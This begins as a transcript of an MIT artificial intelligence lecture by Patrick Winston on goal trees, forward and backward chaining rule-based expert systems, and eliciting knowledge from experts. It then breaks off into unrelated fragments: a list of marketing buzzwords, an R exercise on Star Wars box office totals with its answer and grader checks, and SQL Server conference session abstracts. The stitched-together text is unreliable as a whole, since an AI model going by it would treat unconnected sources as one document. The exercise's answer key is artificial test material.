Flash and JavaScript are required for this feature.
Download the video from iTunes U or the Internet Archive.
Description: We consider a block-stacking program, which can answer questions about its own behavior, and then identify an animal given a list of its characteristics. Finally, we discuss how to extract knowledge from an expert, using the example of bagging groceries.
Instructor: Patrick H. Winston
Lecture 3: Reasoning: Goal ...
Related Resources
Duarte, José Pinto. "Customizing Mass Housing: A Discursive Grammar for Siza's Malagueira Houses." PhD thesis, MIT, 2001.
PROFESSOR PATRICK WINSTON: Ladies and gentlemen, the engineers drinking song.
Back in the day, I've drunk quite a lot to that song.
And as drinking songs go, it's not bad.
I caution you, however, before playing this song in the presence of small children, audition it first.
Some of the verses are sufficiently gross as to make a sailor go beyond blushing.
It's an interesting song because there are an infinite number of verses.
Here's the mathematical proof.
Suppose there were a finite number of verses.
Then there would be a last verse.
And if there were a last verse, then some drunk alumni would compose a new one.
Therefore, there is no last verse, the size is not finite, and there are an infinite number of verses.
I play it for you today because I'm an engineer.
I like to build stuff.
I build stuff out of wood.
I build stuff out of metal.
I build stuff out of rocks.
And I especially like to write programs.
I don't know, sometimes people come to me and say, I'm majoring in computer science, but I don't like to write programs.
I've always been mystified by that.

But I've written quite a few programs for demonstrating stuff in this subject.
They're all written in Java, principally because I can therefore make them available to you and to the rest of the world by way of Web Start.
A few weeks ago, I was mucking around with the system and broke the version on the server, and within 15 minutes, I got an email from somebody in the depths of Anatolia complaining about it and asking me to bring it back up.
This particular program is patterned after an early AI classic.
And it was the business end of a program written by Terry Winograd, who became, and is, a professor of computer science at Stanford University-- which is on the west coast for those of you-- on the strength of his work on the natural language front end of this program.
But the natural language part is not what makes it of interest for us today.
It's more the other kinds of stuff.
Let's pile these things up.
Now, I'm going to ask to do something, maybe put B2 on top of B7.
Not bad.
How about B6 on B3?
This program's kind of clever.
Let me do one more.
Let's put B7 on B2.
OK, now let's see.
Maybe B5 on B2?
B4 on B3 first, maybe?
Oh, I must have clicked the wrong button.
Oh, there it goes.
OK.
Let's put B4 on B1.
Agh, my mouse keeps getting out of control.
Now, let's put B1 on B2.
This is an example I'm actually going to work out on the board.
Oh, I see.
My touch pad accidentally got activated.
B1 on B2.
Now, let's ask a question.
OK.
Well.
SPEAKER 2: [SINGING] PROFESSOR PATRICK WINSTON: Stop.
SPEAKER 3: [LAUGHTER] PROFESSOR PATRICK WINSTON: Had enough of that.
Let's see.
Why did you put-- why did you want to get rid of B4?
OK, one-- SPEAKER 2: [SINGING] PROFESSOR PATRICK WINSTON: Maybe they think, that's what happens when you use software you write yourself.
Why did you want to clear the top of B2?
Did I do that?
Why did you clear the top of B1?
OK.
SPEAKER 2: [SINGING] SPEAKER 3: [LAUGHTER] PROFESSOR PATRICK WINSTON: Oh, it's haunting me.
Yeah.
So the drinking song is easily offended, I guess.
But I won't develop that scenario again.
What I want to show you is that this program looks like it's kind of smart, and it somehow can answer questions about its own behavior.
Have you ever written a program that's answered questions about its own behavior?
Probably not.
Would you like to learn how to do that?
OK.
So by the end of the hour, you'll be able to write this program and many more like it that know how to answer questions about their own behavior.
There have been tens of thousands of such programs written, but only by people who know the stuff I'm going to tell you about right now, OK?
So what I want to do is I want to start by taking this program apart on the board and talking to you about the modules, the subroutines that it contains.
So here it is.
The first thing we need to think about, here are some blocks.
What has to happen if I'm going to put the bottom block on the larger block?
Well, first of all, I have to find space for it.
Then I have to grasp the lower block.
And I have to move it and I have to ungrasp it.
So those are four things I need to do in order to achieve what I want to do.
So therefore, I know that the put-on method has four pieces.
It has to find space on the target block.
It has to grasp the block that it's been commanded to move.
Then it has to move, and then it has to ungrasp.
But taking hints from some of the questions that it did answer before I got haunted by the music, taking our cue from that, we know that in order to grasp something, in this particular world, you can't have anything on top of it.
So grasp, therefore, may call clear top in order to get stuff off from the target object.
And that may happen in an iterative loop because there may be several things on top.
And how do you get rid of stuff?
Well, by calling get rid of.
And that may go around a loop several times.
And then, the way you get rid of stuff is by calling put-on.
So that gives us recursion, and it's from the recursion that we get a lot of the apparent complexity of the program's behavior when it solves a problem.
Now, in order to find space, you also have to call get rid of.
So that's where I meant to put this other iterative loop, not down here.
Cleat top has got the iterative loop inside of it.
So that's the structure of the program.
It's extremely simple.
And you might say to me, well, how can you get such apparently complex-looking behavior out of such a simple program?
A legitimate question.
But before we tackle that one head on, I'd like to do a simulation of this program with a very simple blocks problem.
And it's the one I almost showed you, but it goes like this.
Here's B1.
We'll call this BX because I forgot its name.
Here's BY.
And here's B2.
And the task is to put B1 on B2.
And according to our system diagram, that results in four calls to subroutines.
We have to find space.
We have to grasp B1.
We have to move, and then we ungrasp.
Now, the way we grasp something is the first thing we have to do is clear off its top.
So grasp calls clear top.
And clear top in turn calls get rid of.
And let me see.
Let me keep track of these.
This is clearing the top of B1, and this is getting rid of BX.
And the way we get rid of BX is by putting BX on the table.
And then that in turn causes calls to another find space, another grasp, another move, and another ungrasp.
So that's a little trace of the program as it works on this simple problem.
So how does it go about answering the questions that I demonstrated to you a moment ago?
Let's do that by using this trace.
So how, for example, does it answer the question, why did you get rid of BX?
[INAUDIBLE], what do you think?
How can it answer that question?
SPEAKER 4: [INAUDIBLE] PROFESSOR PATRICK WINSTON: So it goes up one level and reports what it sees.
So it says, and said in the demonstration, I got rid of BX because I was trying to clear the top of B1.
So if I were to say why did you clear the top of B1, it would say because I was trying to grasp it.
If I were to say, why did you grasp B1, it would say because I was putting B1 on B2.
If I say, why did you put B1 on B2, it would say, slavishly, because you told me to.
OK, so that's how it deals with why questions.
How about how questions?
Timothy, what do you think about that one?
How would it go about answering a question about how you did something?
Do you have a thought?
TIMOTHY: Um, yeah, it would think about what I was trying to accomplish.
PROFESSOR PATRICK WINSTON: Yeah, but how would it do that?
How would the program do that?
We know that answering a why question makes it go up one level.
How does it answer a how question?
Sebastian?
SEBASTIAN: It goes down one level.
PROFESSOR PATRICK WINSTON: You go down one level.
So you start off all the way up here with a put-on.
You will say, oh, well I did these four things.
You say, why did you grasp B1?
It will say because I was trying to clear its top.
Why did you clear its top?
Because I was trying to get rid of it.
Why were you trying to get rid of it?
Because I was trying to put it on the table.
So that's how it answers how questions, by going down in this tree and this trace of the program of action so as to see how things are put together.
What are these things that are being put together?
What's the word I've been avoiding so as to bring this to a crescendo?
What are these objectives, these things it wants to do?
They're goals.
So this thing is leaving a trace, which is a goal tree.
Does that sound familiar?
Three days ago, we talked about goal trees in connection with integration.
So this thing is building a goal tree, also known as an and-or tree.
So this must be an and tree.
And if this is an and tree, are there any and nodes?
Sure, there's one right there.
So do you think then that you can answer questions about your own behavior as long as you build an and-or tree?
Sure.
Does this mean that the integration program could answer questions about its own behavior?
Sure.
Because they both build goal trees, and wherever you got a goal tree, you can answer certain kinds of questions about your own behavior.
So let me see if in fact it really does build itself a goal tree as it solves problems.
So this time, we'll put B6 on B3 this time.
But watch it develop its goal tree.
So in contrast to the simple example I was working on the board, this gets to be a pretty complicated goal tree.
But I could still answers questions about behavior.
For example, I could say, why did you put B6 on B3?
Because you told me to.
All right, so the complexity of the behavior is largely a consequence not of the complexity of the program in this particular case, but the building of this giant goal tree as a consequence of the complexity of the problem.
This brings us to one of our previous matters-- early on to one of the gold star ideas of today.
And this gold star idea goes back to a lecture given in the late '60s by Herb Simon, who was the first Nobel Laureate in the pseudo Nobel Prize for economics.
Is that right, Bob?
Was he the first?
All right, he was the first winner of the Nobel Prize, pseudo Nobel Prize in economics.
And in this lecture, which was titled "The Sciences of the Artificial," he said imagine that you're looking on a beach at the path of a ant.
And he said, well, you know, the path of the ant looks extremely complicated.

But in fact, when you take a closer look, what you discover is that there are a bunch of pebbles on the beach, and all the ant is doing is avoiding those pebbles on his way home.
So the complexity of the behavior, said Simon, is a consequence of the complexity of the environment, not the complexity of the program.
So that's the metaphoric Simon's ant.
And what it says is that the complexity of the behavior is the max of the complexity of the program and the complexity of the environment.
So that's something we'll see many times during the rest of the semester.
Complex behavior, simple program.
You think it's going to be complicated.
It turns out to be simple because the problem has the complexity, not the program.
So that brings us to check box three in today's talk, and there's a little bit of a scene here because now I want to stop talking about goal-centered programming and start talking about rule-based expert systems.
The rule-based expert systems were developed in a burst of enthusiasm about the prospects for commercial applications of artificial intelligence in the mid-1980s.
At that time, it was supposed lengthy articles are written, but you could account for useful aspects of human intelligence by writing all the knowledge in the form of simple rules.
So if this is true, then that's true.
If you want to achieve this, then do that.
But all the knowledge had to be encapsulated in the form of simple rules.
So what might you want to do with this?
All sorts of things.
Thousands of these systems were written, as I indicated before.
But here's an example.
I'm going to work out an example having to do with identification.
And this example is patterned off of a classic program, strangely also written at Stanford, called MYCIN.
It was developed to diagnose bacterial infections in the blood.
So you come in.
You got some horrible disease, and the doctor gets curious about what antibiotic would be perfect for your disease.
He starts asking a lot of questions.
So I'm not going to deal with that because that world has all kinds of unpronounceable terms like bacterioides and anaerobic and stuff like that.
So it's completely analogous to talk about identifying animals in a little zoo, sort of a small town type of zoo.
So I'm going to suggest that we write down on a piece of paper all the things we can observe about an animal, and then we'll try to figure out what the animal is.
So I don't know, what can we start with?
Has hair.
Then there are some characteristics of the following form.
Has claws.
Sharp teeth.
And forward-pointing eyes.
And these are all characteristics of carnivores.
We happen to have forward-pointing eyes too, but that's more because we used to swing around the trees a lot, and we needed the stereo vision.
And we don't have the claws and the sharp teeth that go with it.
But anyhow, those are typically characteristics of carnivores, as is eating meat.
And this particular little animal we're looking at has also got spots, and it's very fast.
What is it?
Well, everybody says it's a cheetah.
Let's see how our program would figure that out.
Well, program might say, let's see if it has hair, then rule one says that that means it must be a mammal.
We can imagine another rule that says if you have sharp claws, sharp teeth, and forward-pointing eyes, then you're a carnivore.
And I'm using sort of hardware notation here.
That's an and gate, right?
So that means we have to have all of these characteristics before we will conclude that the animal is a carnivore.
Now, this animal has been also observed to eat meat.
So that means we've got extra evidence that the animal is carnivorous.
And now, because the animal is a mammal and a carnivore and has spots, and it's very fast, then the animal is a cheetah.
And I hope all of our African students agree that it must be a cheetah.

Who knows what it is?
It's probably got some unpronouncable name-- there's possibilities.
But for our small zoo, that will do.
So we have group now written down in the form of these and gates.
Several rules, R1, R2-- and there needs to be an and gate here-- that's R3 and an R4.
All of which indicate that this animal is a cheetah.
So we built ourself a little rule-based expert system that can recognize exactly one animal, but you could imagine filling out this system with other rules so that you could recognize giraffes and penguins and all the other sorts of things you find in a small zoo.
So when you have a system like this that works as I've indicated, then what we're going to call that, we're going to give that a special name, and we're going to call that a forward-chaining rule-based-- because it uses rules-- expert system.
And we're going to put expert in parentheses because when these things were developed, for marketing reasons, they called them expert systems instead of novice systems.
But are they really experts in a human sense?
Not really, because they have these knee-jerk rules.
They're not equipped with anything you might want to call common sense.
They don't have an ability to deal with previous cases, like we do when we go to medical school.
So they really ought to be called rule-based novice systems because they reason like novices on the basis of rules.
But the tradition is to call them rule-based expert systems.
And this one works forward from the facts we give it to the conclusion off on the right.
That's why it's a forward-chaining system.
Can this system answer questions about its own behavior?
[INAUDIBLE], what do you think?
SPEAKER 5: [INAUDIBLE].
PROFESSOR PATRICK WINSTON: Why?
SPEAKER 5: [INAUDIBLE].
PROFESSOR PATRICK WINSTON: Because it looks like a goal tree.
Right.
This is, in fact, building a goal tree because each of these rules that require several things to be true is creating an and node.
And each of these situations here where you have multiple reasons for believing that the thing is a carnivore, that's creating an or node.
And we already know that you can answer questions about your own behavior if you leave behind a trace of a goal tree.
So look at this.
If I say to it, why were you interested in the animal's claws?
Because I was trying to see if it was a carnivore.
How did you know that the animal is a mammal?
Because it has hair.
Why did you think it was a cheetah?
Because it's a mammal, a carnivore, has spots, and very fast.
So by working forward and backward in this goal tree, this too can answer questions about its own behavior.
So now you know how, going forward, you can write programs that answer questions about their behavior.
Either you write the subroutines so that each one is wrapped around a goal, so you've got goal-centered programming, or you build a so-called expert system using rules, in which case it's easy to make it leave behind a trace of a goal tree, which makes it possible to answer questions about its own behavior, just as this [INAUDIBLE] program did.
But now, a little more vocabulary.
I'm going to save time by erasing all of these things that I previously drew by way of connections.
And I'm going to approach this zoo in a little different way.
I'm going to not ask any questions about the animal.
Instead, I'm going to say, mommy, is this thing I'm looking at a cheetah?
And how would mommy go about figuring it out.
In her head, she would say, well, I don't know.
If it's going to be a cheetah, then it must be the case that it's a carnivore, and it must be the case that it has spots.
And it must be the case that it's very fast.
So so far, what we've established is that if it's going to be a cheetah, it has to have the four characteristics that mommy finds behind this rule are four.
So instead of working forward from facts, what I'm going to do is work backward from a hypothesis.
So here the hypothesis is this thing is a cheetah.
How do I go about showing whether that's true or not?
Well, I haven't done anything so far because all I know is a cheetah if all these things are true, but are they true?
Well, to find out if it's a mammal, I can use rule one.
And if I know or can determine that the animal has hair, then that part of it is taken care of.
And I can similarly work my way back through carnivore.
I say, well, it's a carnivore if it has claws, sharp teeth, and forward-pointing eyes.
And then as much as the animal in question does, then I'm through.
I know it's a carnivore.
I don't have to go through and show that it's a carnivore another way.
So I never actually ask questions about whether it eats meat.
Finally, the final two conditions are met by just an inspection of the animal.
That's to say, it's in the database.
I don't have to use any rules to determine that the animal has spots and is very fast.
So now, I've got everything in place to say that it's a cheetah, because it's a carnivore, because it has claws, sharp teeth, and forward-pointing eyes, and all the rest of this stuff is similarly determined by going backwards, backwards from the hypothesis toward the facts, instead of from the facts forward to the conclusions.
So building a system that works like that, I have a backward-chaining rule-based expert system.
But there's a very important characteristic of this system in both backward and forward mode, and that is that this thing is a deduction system.
That's because it's working with facts to produce new facts.
When you have a deduction system, you can never take anything away.
But these rule-based systems are also used in another mode, where it's possible to take something away.
See, in fact world, in deduction world, you're talking about proving things.
And once you prove something is true, it can't be false.
If it is, you've got a contradiction in your system.
But if you think of this as a programming language, if you think of using rules as a programming language, then you can think of arranging it so these rules add or subtract from the database.
Let me show you an example of a couple of systems.
First of all, since I've talked about the MYCIN system, let me show you an example of a MYCIN dialogue.
That's a MYCIN dialogue.
And you can see the appearance of words you have to go to medical school to learn.
And here's a typical MYCIN rule, just like the rules for doing zoo analysis, only a more complicated domain.
But here's another example of a system that was written, not in the '80s, but just a couple of years ago by a student in the architecture department, Ph.D. thesis.
He was interested in the architecture of a Portuguese architect named Siza.
And Siza's done a lot of mass housing stuff.
And Siza has the idea that you ought to be able to design your own house.
And so Jose Duarte, a Portuguese student, a Ph.D.
student in architecture, wrote a rule-based system that was capable of designing Siza-like houses in response to the requirements and recommendations and desires of the people who are going to occupy the houses.
So the most compelling part of this thing, of this exercise, was that Duarte took some of the designs of the program, mixed them up with some of the designs of Siza, and put them in front of Siza, and said, which ones did you do?
And Siza couldn't tell.
So somehow, the rule-based system that was built using this kind of technology was sufficient to confuse even the expert that they were patterned after.
But this program is a little complicated.
It, too, has its own specialized lingo.
So I'm not going to talk about it in detail, but rather talk instead about an analogous problem.
And that is a problem that everyone has faced at one point or another, and that is the problem of putting groceries in a bag at a grocery store.
It's the same thing, right?
Instead of putting rooms in a house, you're putting groceries in a bag.
And there must be some rules about how to do that.
In fact, maybe some of you have been professional grocery store baggers?
[INAUDIBLE] a grocery store professional bagger.
You're a-- which one?
LISA: [INAUDIBLE] PROFESSOR PATRICK WINSTON: Yeah, what is your name?
LISA: Lisa.
PROFESSOR PATRICK WINSTON: Lisa.
OK, well we got two professional grocery store baggers.
And I'm going to be now simulating a highly paid knowledge engineer desirous of building a program that knows how to bag groceries.
So I'm going to visit your site, Market Basket, and I'm going to ask Lisa, now fearful of losing her job, if she would tell me about how she bags groceries.
So could you suggest a rule?
LISA: Sure.
Large items in the bottom.
PROFESSOR PATRICK WINSTON: Large items in the bottom.
You see, that's why I'm a highly paid knowledge engineer, because I translate what she said into an if-then rule.
So if large, then bottom.
So now I-- SPEAKER 3: [LAUGHTER] PROFESSOR PATRICK WINSTON: So how about you, [INAUDIBLE]?
Have you got a suggestion?
About how to bag groceries?
SPEAKER 6: The small things on top.
PROFESSOR PATRICK WINSTON: If small, then on top.
Lisa, have you got anything else you could tell me?
LISA: Don't put too many heavy things in the same bag.
PROFESSOR PATRICK WINSTON: Don't put too many heavy things in the same bag.
So if heavy greater than three, then new bag, or something like that.
Is that all we're going to be able to-- does anybody else want to volunteer?
[INAUDIBLE], have you bagged groceries in Turkey?
LISA: So they don't have grocery baggers, so we have to-- PROFESSOR PATRICK WINSTON: So everybody's a professional bagger in Turkey.
Yeah.
It's outsourced to the customers.
SPEAKER 7: So no squishies on the bottom.
So if you have-- PROFESSOR PATRICK WINSTON: No squishies on the bottom.
SPEAKER 7: If you have tomatoes-- PROFESSOR PATRICK WINSTON: That's good.
Tomatoes.
SPEAKER 7: You don't want them to get squished.
PROFESSOR PATRICK WINSTON: Now, there's a very different thing about squishies and tomatoes because tomato is specific, and squishy isn't.
Now, one tendency of MIT students, of course, is that we all tend to generalize.
I once knew a professor in the Sloan School who seemed real smart.
And-- SPEAKER 3: [LAUGHTER] PROFESSOR PATRICK WINSTON: Then I figured out what he did.
If I were to say, I'm thinking about a red apple.
They'd sit back and say, oh, I see you're contemplating colored fruit today.
They're just taking it up one level of abstraction.
Not a genius.
He also was able to talk for an hour after he drew a triangle on the board.
Amazing people.
Anyhow, where were we?
Oh, yes, bagging groceries.
So we're making some progress, but not as much as I would like.

So principle number one, which I've listed over here as part of a gold star idea, is deal with specific cases.
So while you're at the site, if all you do is talk to the experts like Lisa and [INAUDIBLE], all you're going to get is vague generalities because they won't think of everything.
So what you do is you say, well, let me watch you on the line.
And then you'll see that they have to have some way of dealing with the milk.
And then you'll see that they have to have some way of dealing with the potato chips.
Nobody mentioned potato chips, except insofar as they might be squishy.
We don't have a definition for squishy.
Nobody talked about the macaroni.
And no one talked about the motor oil.
This is a convenience store.
I don't want that in the same bag with the meat.
And then no one talked about canned stuff.
Here's a can of olives.
So by looking at specific cases, you elicit from people knowledge they otherwise would not have thought to give you.
That's knowledge engineering rule number one.
And within a very few minutes, you'll have all three knowledge engineering rules and be prepared to be a highly paid knowledge engineer.
Heuristic, let's call these heuristics.
Heuristic number one, specific cases.
Heuristic number two is ask questions about things that appear to be the same, but are actually handled differently.
So there's some Birds Eye frozen peas, and here-- ugh, some fresh cut sweet peas.
And to me, the person who's never touched a grocery bag in my life-- maybe I'm from Mars-- I can't tell the difference.
They're both peas.
But I observe that the experts are handling these objects differently.
So I say, why did you handle those peas differently from those peas, and what do they say?
One's canned, and one's frozen.
So what happens?
Bingo, I've got some new words in my vocabulary.
And those new vocabulary words are going to give me power over the domain because I can now use those words in my rules.
And I can write rules like if frozen, then put them all together in a little plastic bag.
Actually, that's too complicated, but that's what we end up doing, right?
Why do we put them all together in a little plastic bag?
SPEAKER 8: [INAUDIBLE] PROFESSOR PATRICK WINSTON: What's that?
SPEAKER 8: [INAUDIBLE] PROFESSOR PATRICK WINSTON: Well, there are two explanations.
There's the MIT explanation.
We know that temperature flow is equal to the fourth power of the temperature difference and the surface area and all that kind of stuff.
We want to get them all together in a ball, sphere.
The normal explanation is that they're going to melt anyway, so they might as well not get everything else wet.
All right.
SPEAKER 3: [LAUGHTER] PROFESSOR PATRICK WINSTON: So that's heuristic number two.
And actually, there's heuristic number three, that I just want to relate to you for the first time because I have been dealing with it a lot over this past summer.
Heuristic number three is you build a system, and you see when it cracks.
And when it cracks is when you don't have one of the rules you need in order to execute-- in order to get the program to execute as you want it to execute.
So if I were to write a grocery store bagging program and have it bag some groceries, again, eventually it would either make a mistake or come to a grinding halt, and bingo, I know that there's a missing rule.
Isn't that what happens when you do a problem set, and you hit an impasse?
You're performing an experiment on yourself, and you're discovering that you don't have the whole program.
In fact, I've listed this as a gold star idea having to do with engineering yourself because all of these things that you can do for knowledge engineering are things you can do when you learn a new subject yourself.
Because essentially, you're making yourself into an expert system when you're learning circuit theory or electromagnetism or something of that sort.
You're saying to yourself, well, let's look at some specific cases.
Well, what are the vocabulary items here that tell me why this problem is different from that problem?
Oh, this is a cylinder instead of a sphere.
Or you're working with a problem set, and you discover you can't work with the problem, and you need to get another chunk of knowledge that makes it possible for you to do it.
So this sort of thing, which you think of primarily as a mechanism, heuristics for doing knowledge engineering, are also mechanisms for making yourself smarter.
So that concludes what I want to talk with you about today.
But the bottom line is, that if you build a rule-based expert system, it can answer questions about its own behavior.
If you build a program that's centered on goals, it can answer questions about its own behavior.
If you build an integration program, it can answer questions about its own behavior.
And if you want to build one of these systems, and you need to extract knowledge from an expert, you need to approach it with these kinds of heuristics because the expert won't think what to tell you unless you elicit that information by specific cases, by asking questions about differences, and by ultimately doing some experiments to see where your program is correct.
So that really concludes what I had to say, except I want to ask the question, is this all we need to know about human intelligence?
Can these things be-- are these things really smart?
And the traditional answer is no, they're not really smart because their intelligence is this sort of thin veneer.
And when you try to get underneath it, as written, they tend to crack.
For example, we talk about a rule, we could talk about a rule that knows that you should put the potato chips on the top of the bag.
But a program that knows that would have no idea why you would want to put the potato chips on top of the bag.
They wouldn't know that if you put them on the bottom of the bag, they'll get crushed.
And it wouldn't know that if they get crushed, the customer will get angry, because people don't like to eat crushed potato chips.
So that's what I mean when I say the knowledge of these things tends to be a veneer.
So the MYCIN program, during debugging, once prescribed a barrel of penicillin to be administered to a patient for its disease.
They don't know, they don't have any common sense.
So the question then becomes, well, I don't know.
Does rule-based-- do rules have anything to do with common sense?
And I'm becoming a little bit agnostic on that subject.
Because there are certain indications, there are certain situations, in which rules could be said to play a role in our ordinary understanding of things.
Would you like to see a demonstration?
What I'm going to show you, when the clip speaks up-- well, before I make any promises, let me see if I'm actually connected to the web.
MIT, good.
MIT.
Guest.
Yeah, that's me.
Sounds good.
OK, I just tested the system, and I've seen it is actually connected to the web.
And I'm going to adjust some systems options here.
I'll get rid of the text box.
And we'll get rid of those changes scale a little bit.
What I'm going to do is I'm going to read a little synopsis of the Macbeth plot.
You're MIT students.
I'm sure you're all classically educated and very familiar with Shakespearean plots.
So I'm going to read one.
I'm going to read a version of a Macbeth plot.
And it's going to go along like this.
It's basically reading a rule base so far.
And pretty soon, it's going to get beyond the rule base and start reading the Macbeth story.
And there it is.
It's read the Macbeth story.
Let me show you what the Macbeth story looks like as it's actually retained by the system.
That's it.
Read that.
OK, you ran out of time because the machine's already finished.
It takes about five seconds to read this story.
Now, as you look at this little synopsis of Macbeth, there are a couple things to note.
For one thing, it says that Duncan is murdered.
Duncan, I hope this doesn't bother you.
Duncan is murdered by Macbeth.
But at no time does it say that Duncan is dead.
But you know Duncan's dead because he was murdered.
If murdered, then dead.
SPEAKER 3: [LAUGHTER].
PROFESSOR PATRICK WINSTON: So if you look a little further down, what you see is that Macduff kills Macbeth.
Fourth line up from the bottom.
Why did Macduff kill Macbeth?
Doesn't say why in this story, but you have no trouble figuring out that it's because he got angry.
And when you get angry, you don't necessarily kill somebody, but it's possible.
SPEAKER 3: [LAUGHTER].
PROFESSOR PATRICK WINSTON: So now that you see what's in the story, let me take you back to this display.
It's what we call an elaboration graph.
And when I blow it up, you can see that there's some familiar looking things in there.
For example, up here in the left-hand corner, Macbeth murders Duncan, right over there.
And over here, Macduff kills Macbeth.
And if you look at what is a consequence of that, it looks like there must be a rule that says if you murder somebody, you harm them.
And if you murder somebody, then they're dead.

And if you harm somebody, they get angry, and their state goes negative.
So that suggests that there are some things that we have on our hands that are very compiled and very, strangely enough, very rule-like in their character.
Now, to close, I'm just going to read Hamlet.
The Hamlet demonstration is much like the Macbeth one.
In fact, Hamlet and Macbeth are very alike in their plot.
But there's one thing that's well-illustrated by our particular capturing of Hamlet here.
And that is that you'll note that the ratio of gray stuff to white stuff is considerable.
The gray stuff is stuff that has been deduced by rules.
And the reason there's so much gray stuff in this Hamlet story is because everybody's related to everybody else.

So look at that.
A few white things, those are the things that are explicit in the story, and lots of gray stuff.
So what this is suggesting is that when we tell a story, it's mostly a matter of controlled hallucination.
I know what rules are in your head, so I could take advantage of that in telling the story and not have to tell you anything I'm sure you're going to know.
And so that's why, we've discovered, that storytelling is largely a matter of just controlling how you're going along, a kind of controlled hallucination.


We redefine mices!
- whiteboard holistic initiatives
- extend collaborative applications
- transition holistic portals
- streamline sticky deliverables
- deploy magnetic schemas
- strategize real-time supply-chains
- engage collaborative convergence
- aggregate impactful solutions
- generate end-to-end action-items


The single most important thing for a movie in order to become an instant legend in Tinseltown is its worldwide box office figures.
To calculate the total box office revenue for the three Star Wars movies, you have to take the sum of the US revenue column and the non-US revenue column.
In R, the function rowSums()
conveniently calculates the totals for each row of a matrix. This function creates a new vector:
rowSums(my_matrix)
Calculate the worldwide box office figures for the three movies and put these in the vector named worldwide_vector
.
# Construct star_wars_matrix
box_office <- c(460.998, 314.4, 290.475, 247.900, 309.306, 165.8)
star_wars_matrix <- matrix(box_office, nrow = 3, byrow = TRUE,
dimnames = list(c("A New Hope", "The Empire Strikes Back", "Return of the Jedi"),
c("US", "non-US")))
# Calculate worldwide box office figures
worldwide_vector <-
# Construct star_wars_matrix
box_office <- c(460.998, 314.4, 290.475, 247.900, 309.306, 165.8)
star_wars_matrix <- matrix(box_office, nrow = 3, byrow = TRUE,
dimnames = list(c("A New Hope", "The Empire Strikes Back", "Return of the Jedi"),
c("US", "non-US")))
# Calculate worldwide box office figures
worldwide_vector <- rowSums(star_wars_matrix)
msg <- "Do not change anything about the preset variables `box_office_all` and `star_wars_marix`!"
test_object("box_office", undefined_msg = msg, incorrect_msg = msg)
test_object("star_wars_matrix", undefined_msg = msg, incorrect_msg = msg)
test_object("worldwide_vector", incorrect_msg = "Call `rowSums()` on `star_wars_matrix` and store the result in `worldwide_vector`.")
success_msg("Well done! Continue to the next exercise.")
rowSums(star_wars_matrix)
will calculate the sum of every row, so the total box office for each movie.


Event Location:
UCSD Extension - University City Center
6256 Greenwich Dr.
San Diego, California
Abstract:
Tablix = Table + Matrix. Got it? Good. But wait, what exactly is a Tablix good for then? And where is it in your SSRS Toolbox? Not to worry. Angel will show you how to wake up the Tablix control introduced in SQL Server 2008 R2 using some real-world examples. In this session, you'll learn why the Tablix features help solve many common reporting scenarios such as Timelining, Summarizing, and Subtotaling. Important takeaways from this session are how to aggregate everywhere in your Tablix with single formulas and condensing very wide reports. We’ll also cover some visualization reporting techniques to help solve some pretty common reporting requests such as Exporting to Excel. Please welcome: Table, Matrix, and List.
 In it we will discuss the concepts required to properly virtualize SQL Server. You can take control and lead the virtualization conversation by building a fact based plan for when to virtualize, and when to go with a physical infrastructure. You need ammunition and hard evidence to push the server and virtualization teams to consider your SQL Server environments in a different light. What metrics are important for you to capture before go live, and what metrics you must monitor proactively for success.
Speaker(s): Matt Hollingsworth,
Abstract:
This session will cover coming enhancements in SSIS, SSAS, SSRS, PowerPivot, Business Intelligence Semantic Model (BISM), and Project Crescent. I will demo the new Project Crescent ad-hoc analysis tool, and show the capabilities within the new Business Intelligence Semantic Model BISM. There are also some nice visual enhancements coming into PowerPivot that you will not want to miss.
Speaker(s): Matt Hollingsworth,
Abstract:
How to Succeed on a Distributed Team More and more technology professionals work with colleagues who are based all over the world. Being part of a distributed team means dealing with differences in communication style, work culture and time zones. Based in the U.S., Denise McInerney works on a team that has more than 50% of its members in India. In this session Denise will share her tips and techniques for how to be successful when working with people around the globe.
Speaker(s): Denise McInerney,
Abstract:
Whether you are new to SQL Server or you just haven't had the opportunity to learn about it, Integration Services can be a powerful tool to have at your disposal. In this session, I'll introduce you to the basic components of an Integration Services package as well as its most common applications. We'll review best practices for setting up packages for file imports and exports as well as transferring data between servers and automation of packages. Finally, we'll review more advanced processing techniques, deployment options, logging, and implementation of version history through source control.
Speaker(s): Ben Bolte,
Abstract:
In this session, you will be introduced to some simple PowerShell techniques, and see how to combine them to create an event-driven listener job running in SQL Server Agent service. Designed to be accessible to database administrators and database developers, you will see how easy it is to create useful scripts in PowerShell.
Speaker(s): Peter Kral,
Abstract:
I will talk about software tools that improve my development process (like R#, slickrun, beyond compare,etc..) I will also cover personal workflow habits and tips on improving your workflow and moving more of your "life" to the cloud. I will talk about syncing your life to all machines. This includes notes, email, calendar, files etc.. Some of the products I will talke about are. OneNote, SlickRun, R#, Windows HomeServer, Live Mesh, Google Chrome Sync etc..
Speaker(s): Brad Cunningham,
Abstract:
Are you looking for an easier way to de-duplicate your data? Do you need to join a SELECT statement to itself six ways to Sunday? Common Table Expressions (CTEs) can make these tasks (and many others) so much more manageable, you'll wonder how you ever got along without them. CTEs are a very useful method for abstracting data access in most of the popular relational database platforms (MS SQL Server, Oracle, PostgreSQL, DB2). This session will walk through syntax and implementation of CTEs in MS SQL Server. We will then focus on their practical uses, including self-joins, taking advantage of windowing functions, removing duplicates from data sets, and recursion.
Speaker(s): Phil Helmer,
Abstract:
The session is about domain driven development. It seems most ORM frameworks being out there do not really solve the abstraction problem between the two as these are table centric. Do such really follow SOA principles when it comes to treating the db? Empower your next project with... server side ORM. I will let you deeply rethink what you've done so far. My approach let me save days or weeks of otherwise wasted development hours when it comes to "make a change". You might feel ORM of your choice seem let you kickstart the project faster, but then... every major change and tweak here and there is a nightmare (refactor, recompile, retest, redeploy). Rewriting an app after every change is like working one step forward, two step backwards.
Speaker(s): Rajmund Rzepecki,
Abstract:
Creating backups is one of the fundamental skills every DBA should know, but there are a plethora of choices when it comes to how you will back up your databases. Learn the options with SQL server, what each choice will do for you and when to use each one.
Speaker(s): Meredith Ryan-Smith,
Abstract:
Learn how to build real world nTier applications with the Entity Framework and related services. With this new technology built into .NET, you can easily wrap an object model around your database and have all the data access automatically generated or use your own stored procedures and views. Then learn how to easily and securely expose your object model using WCF with just a few line of code using WCF Data Services. The session will demonstrate how to create and consume these new technologies from the ground up.
Speaker(s): David McCarter,
Abstract:
The number of young women entering IT is declining. What can those of us in the industry do to encourage and inspire young women to seek out careers in technology? Mentoring programs, field trips and "Bring Your Daughters to Work" days all exist, but what more could we be doing to spark interest? Join us to hear from a panel of technical women talk about organized programs and individual endeavors designed to inspire the next generation of Women in Technology.
